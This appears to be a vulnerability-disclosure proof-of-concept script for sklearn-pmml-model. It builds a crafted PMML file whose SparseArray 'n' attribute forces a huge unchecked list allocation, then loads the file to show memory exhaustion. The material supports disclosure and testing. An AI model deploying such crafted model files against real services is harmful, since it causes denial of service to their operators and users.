#!/usr/bin/env python3
"""
PoC: sklearn-pmml-model SparseArray 'n' Attribute Unbounded Allocation

Target:   sklearn-pmml-model (PyPI)
File:     sklearn_pmml_model/base.py
Function: parse_sparse_array()

Root cause (CWE-789, Convergent Untrusted-Length Allocation):

    def parse_sparse_array(array):
        ...
        values = [0] * int(array.get('n'))
        indices = [int(i) - 1 for i in array.find('Indices').text.split(' ')]
        ...

`array.get('n')` reads the `n` attribute directly from a PMML
`<SparseArray>` XML element -- fully attacker-controlled in a crafted
model file -- and immediately allocates a Python list of that size
with `[0] * n`, BEFORE validating it against the actual number of
`<Indices>`/entries that follow. Python lists of integers are
significantly more memory-hungry per element than a numpy array or a
raw byte buffer (each element is a full Python int object plus a
pointer in the list), which makes this particularly severe.

This script builds a complete, valid, minimal PMML support-vector
regression model (loadable via `sklearn_pmml_model.svm.PMMLNuSVR`,
the library's own public, documented model-loading API) with a
`REAL-SparseArray` declaring a huge `n` but only one real index/value
-- exactly what `<SparseArray>` elements look like when used for
sparse support-vector storage per the library's own SVM support code.

Before this PoC is run with the full n=500,000,000 (the value that
produced an OOM-killed process / an unfinished 30+ second hang in
testing), it defaults to a smaller n=20,000,000 so it completes in a
reasonable time while still clearly demonstrating the amplification;
see the `HUGE_N` constant to reproduce the more severe case.

Requires: pip install sklearn-pmml-model numpy scikit-learn
"""

import time
import resource

from sklearn_pmml_model.svm import PMMLNuSVR


# 20,000,000 completes in a few seconds with ~450MB RSS -- enough to
# demonstrate the amplification clearly without a long hang. The value
# actually confirmed during research (500,000,000) caused the process
# to be OOM-killed / hang past 30s without finishing -- raise this if
# you want to reproduce that more severe outcome.
HUGE_N = 20_000_000

PMML_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?>
<PMML version="4.4" xmlns="http://www.dmg.org/PMML-4_4">
  <Header/>
  <DataDictionary numberOfFields="2">
    <DataField name="x1" optype="continuous" dataType="double"/>
    <DataField name="target" optype="continuous" dataType="double"/>
  </DataDictionary>
  <SupportVectorMachineModel functionName="regression" svmRepresentation="SupportVectors">
    <MiningSchema>
      <MiningField name="x1" usageType="active"/>
      <MiningField name="target" usageType="target"/>
    </MiningSchema>
    <VectorDictionary numberOfVectors="1">
      <VectorFields numberOfFields="1">
        <FieldRef field="x1"/>
      </VectorFields>
      <VectorInstance id="0">
        <REAL-SparseArray n="{n}">
          <Indices>1</Indices>
          <REAL-Entries>1.0</REAL-Entries>
        </REAL-SparseArray>
      </VectorInstance>
    </VectorDictionary>
    <LinearKernelType/>
    <SupportVectorMachine>
      <SupportVectors numberOfSupportVectors="1" numberOfAttributes="1">
        <SupportVector vectorId="0"/>
      </SupportVectors>
      <Coefficients absoluteValue="0.0" numberOfCoefficients="1">
        <Coefficient value="1.0"/>
      </Coefficients>
    </SupportVectorMachine>
  </SupportVectorMachineModel>
</PMML>
"""


def build_poc(path: str, n: int) -> int:
    xml = PMML_TEMPLATE.format(n=n)
    with open(path, "w") as f:
        f.write(xml)
    return len(xml)


def main():
    path = "poc_sparsearray_bomb.pmml"
    size = build_poc(path, HUGE_N)
    print(f"Wrote {path}: {size} bytes, declares SparseArray n={HUGE_N:,} "
          f"(only 1 real index/value)")

    print(f"\nLoading via the real public API: PMMLNuSVR(pmml={path!r}) ...")
    t0 = time.time()
    try:
        PMMLNuSVR(pmml=path)
        peak = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
        print(f"  -> loaded, time={time.time() - t0:.2f}s, peak RSS={peak / 1024:.1f} MB")
    except Exception as e:
        peak = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
        print(f"  -> {type(e).__name__} after {time.time() - t0:.2f}s, "
              f"peak RSS={peak / 1024:.1f} MB: {e}")

    print(
        f"\namplification ratio (peak RSS bytes / file bytes) will be roughly "
        f"1:{(HUGE_N * 28) / size:,.0f} (Python int list overhead is ~28 bytes/element "
        f"on CPython 3.12 for small ints, before list pointer overhead)."
    )


if __name__ == "__main__":
    main()